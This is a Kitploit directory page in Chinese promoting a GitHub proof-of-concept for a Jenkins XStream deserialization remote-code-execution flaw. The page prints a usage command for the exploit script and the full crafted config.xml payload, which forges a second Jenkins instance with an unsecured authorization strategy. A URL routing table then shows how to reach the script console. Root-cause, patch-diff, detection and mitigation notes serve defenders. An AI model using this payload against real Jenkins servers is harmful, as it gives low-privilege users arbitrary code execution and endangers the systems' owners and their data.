Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-84645 — Jenkins PersistenceRoot 反序列化 RCE(SECURITY-3972)——PoC 与分析。需要 Item/Configure 权限;影响 weekly <= 2.579 / LTS <= 2.568.2 | Kitploit
工具/GitHubGitHub/mhtsec/cve-2026-84645
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubmhtsec/cve-2026-84645

CVE-2026-84645

Jenkins PersistenceRoot 反序列化 RCE(SECURITY-3972)——PoC 与分析。需要 Item/Configure 权限;影响 weekly <= 2.579 / LTS <= 2.568.2

查看仓库
1天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-84645 — Jenkins PersistenceRoot 反序列化 RCE(SECURITY-3972)

针对 2026-09-02 修复的 Jenkins 反序列化漏洞的 PoC(公告)。持有任意单个作业 Item/Configure 权限的低权限账户,可将其转化为以 Jenkins 操作系统用户身份执行的任意代码。

受影响版本weekly ≤ 2.579,LTS ≤ 2.568.2
修复版本weekly 2.580,LTS 2.568.3
前置条件已认证,对 ≥ 1 个作业拥有 Item/Configure 权限
影响以 Jenkins 服务账户身份执行 RCE
CVSS8.8(高危)

仅限对易受攻击的测试实例进行授权安全研究。

使用方法

root@kitploit:~
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id

该脚本会验证账户没有脚本权限(预期返回 403),提交构造的 config.xml,然后通过注入的对象图路由到 ACL 由攻击者控制的脚本控制台。

技术分析

根本原因

Jenkins XStream 栈(hudson.util.XStream2 / RobustReflectionConverter)的两个长期存在的行为相互结合:

  1. PersistenceRoot 类型可作为嵌套字段值被反序列化。 JEP-200 限制了哪些类可以被反序列化,但未限制在对象图中的哪个位置。任何类型为(或可赋值给)PersistenceRoot 子类型的字段都会像普通对象一样被反序列化。由于 XStream 通过 Unsafe.allocateInstance 实例化(不调用构造函数),攻击者可以伪造一个具有任意字段值(包括 authorizationStrategy)的第二个 hudson.model.Hudson 单例。
  2. 瞬态字段也会被反序列化(“像 XStream 1.1.3 一样反序列化到瞬态字段”的兼容性行为)。Stapler 请求路由所需的对象引用(FingerprintAction.build、Run.project、AbstractItem.parent)是瞬态的,因此注入的对象可通过 HTTP 访问——即公告中“随后通过 Stapler 处理 HTTP 请求”的表述。

利用链

POST /job/<job>/config.xml(仅需 Item/Configure 权限)将以下内容注入作业的 <actions>:

root@kitploit:~
<actions>
  <hudson.tasks.Fingerprinter_-FingerprintAction>
    <build class="hudson.model.FreeStyleBuild">        <!-- PersistenceRoot 嵌套(缺陷 1);瞬态字段(缺陷 2) -->
      <project class="hudson.model.FreeStyleProject">  <!-- Run.project: protected final transient -->
        <parent class="hudson.model.Hudson">            <!-- AbstractItem.parent: transient;伪造的第二个 Jenkins -->
          <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
        </parent>
        <name>...</name>
        <properties/>                                  <!-- 避免 Job.getOverrides() 中的 NPE -->
      </project>
    </build>
    <record/>
  </hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>

随后 Stapler 将请求路由到伪造的对象图中:

授权绕过:doScriptText 会针对接收请求的实例检查 ADMINISTER,即伪造 Hudson 的 getACL(),而该 ACL 源自其自身的 authorizationStrategy 字段——AuthorizationStrategy$Unsecured 授予所有权限。真实控制器的授权策略从未参与其中。由于反序列化期间不运行构造函数,字段初始化器不会生效;payload 必须显式设置 authorizationStrategy(和 properties)。

修复分析(2.580)

对比 jenkins-2.579 → jenkins-2.580:

  • RobustReflectionConverter.doUnmarshal 现在拒绝将 PersistenceRoot 子类型反序列化为嵌套字段(CriticalXStreamException:“PersistenceRoot 对象是文档根节点,不得作为嵌套字段值出现”),仅允许三种安全形态:XStream reference= 反向引用、非持久化的 resolves-to 替换器(Run$Replacer、User$Replacer 等)以及单值转换器的标量引用。
  • 新增 @XStreamNotDeserializable / @XStreamDeserializable 注解以及 TRANSIENT_FIELD_STRICT_MODE,按字段收紧瞬态字段的反序列化。
  • Jenkins.readResolve() 现在拒绝反序列化第二个 Jenkins 单例,并增加了 writeReplace() 替换器。
  • 回归测试:test/src/test/java/jenkins/security/Security3972Test.java、。

备注

  • 注入是内存中的(瞬态):重启 Jenkins 会清除它,但可以随时重新提交。
  • 检测:包含嵌套 Fingerprinter_-FingerprintAction / hudson.model.Hudson 的意外 POST /job/*/config.xml payload,或对 /job/*/fingerprints/run/parent/parent/scriptText 的请求。

缓解措施

  • 升级到 weekly ≥ 2.580 / LTS ≥ 2.568.3。
  • 在授权矩阵中将 Item/Configure 限制为受信任的管理员。
  • 审计上述模式的访问日志;重启可疑实例并检查作业 config.xml 文件是否被污染。

参考

  • https://www.jenkins.io/security/advisory/2026-09-02/#SECURITY-3972
  • https://nvd.nist.gov/vuln/detail/CVE-2026-84645
下载工具
URL 段解析为代码路径
/job/<job>/fingerprints注入的 FingerprintActionurlName == "fingerprints" + Actionable.getDynamic()
/run伪造的 FreeStyleBuildFingerprintAction.getRun() 读取瞬态 build
/parent伪造的 FreeStyleProjectRun.getParent() 读取 final transient project
/parent伪造的 hudson.model.HudsonAbstractItem.getParent() 读取瞬态 parent
/scriptText伪造实例的脚本控制台Jenkins.doScriptText() → _doScript(..., getACL())
Security3972QueueRestartTest.java